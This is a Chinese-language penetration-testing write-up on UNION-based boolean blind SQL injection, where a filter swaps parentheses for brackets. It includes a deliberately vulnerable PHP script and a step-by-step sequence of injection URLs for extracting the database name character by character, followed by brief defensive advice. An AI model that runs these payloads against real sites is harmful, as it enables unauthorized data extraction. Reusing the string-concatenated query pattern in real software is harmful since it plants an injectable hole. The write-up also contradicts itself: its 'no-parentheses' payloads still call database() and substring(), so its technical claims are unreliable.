一次挖洞中失去工具的union盲注?
字数 577 2025-08-27 12:33:31
SQL注入绕过技巧:无括号环境下的UNION盲注
0x00 核心记忆点
关键绕过语法:
case when 15 like '1%' then 0 else 2*1e308 end
0x01 漏洞背景
在渗透测试中发现一个特殊SQL注入场景,具有以下特点:
- 传统工具如sqlmap无法自动检测
- 输入输出直接回显,无数据库数据返回
- 系统全局过滤机制:将
()替换为[],导致无法使用函数
0x02 环境模拟
本地测试代码(简化版):
<?php
$id = @$_GET['id'];
$dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";
$user = 'root';
$psw ='root';
$pdo = new PDO($dsn, $user, $psw);
$sql = 'select * from test';
if (!empty($id)) {
$id = str_replace('(', '[', $id);
$id = str_replace(')', ']', $id);
} else {
exit;
}
$sql .= ' where ' . 'id = ' . $id;
echo 'sql:' . $sql;
echo '<br/><br/><br/>';
$query = $pdo->query($sql);
$res = @$query->fetch();
if ($res) {
echo 'studio_one_hour_pageview_' . $id . '_53aa9d8bcf7749bdb0bbajksbdjkasbd';
}
0x03 注入技术详解
基本注入原理
在无法使用函数(无括号)且无直接数据回显的情况下,使用UNION SELECT结合CASE WHEN进行布尔盲注。
关键注入技术
- UNION盲注结构:
1 union select case when (条件) then 0 else 2*1e308 end
- 条件判断替代方案(无括号时):
case when 15 like '1%' then 0 else 2*1e308 end
实际利用示例
- 查询当前数据库名:
1 union select case when substring(database(),1,1)='t' then 0 else 2*1e308 end
- 绕过括号限制的替代方案:
1 union select case when database() like 't%' then 0 else 2*1e308 end
判断逻辑
- 当条件为真时返回0,页面正常显示
- 当条件为假时返回极大数(2*1e308),导致数据库报错或异常
0x04 完整利用流程
- 判断注入点:
?id=1 and 1=1
?id=1 and 1=2
- 确认UNION可用性:
?id=1 union select 1
- 盲注探测:
?id=1 union select case when database() like 'a%' then 0 else 2*1e308 end
- 逐字符猜解:
?id=1 union select case when substring(database(),1,1)='a' then 0 else 2*1e308 end
0x05 防御建议
- 使用参数化查询(预处理语句)
- 严格过滤输入,不仅仅是替换特殊字符
- 最小化错误信息反馈
- 实施WAF防护
0x06 总结
这种注入技术适用于:
- 无括号环境
- 无直接数据回显
- 需要布尔盲注的场景
关键点在于利用CASE WHEN替代传统条件判断,结合UNION SELECT实现数据提取。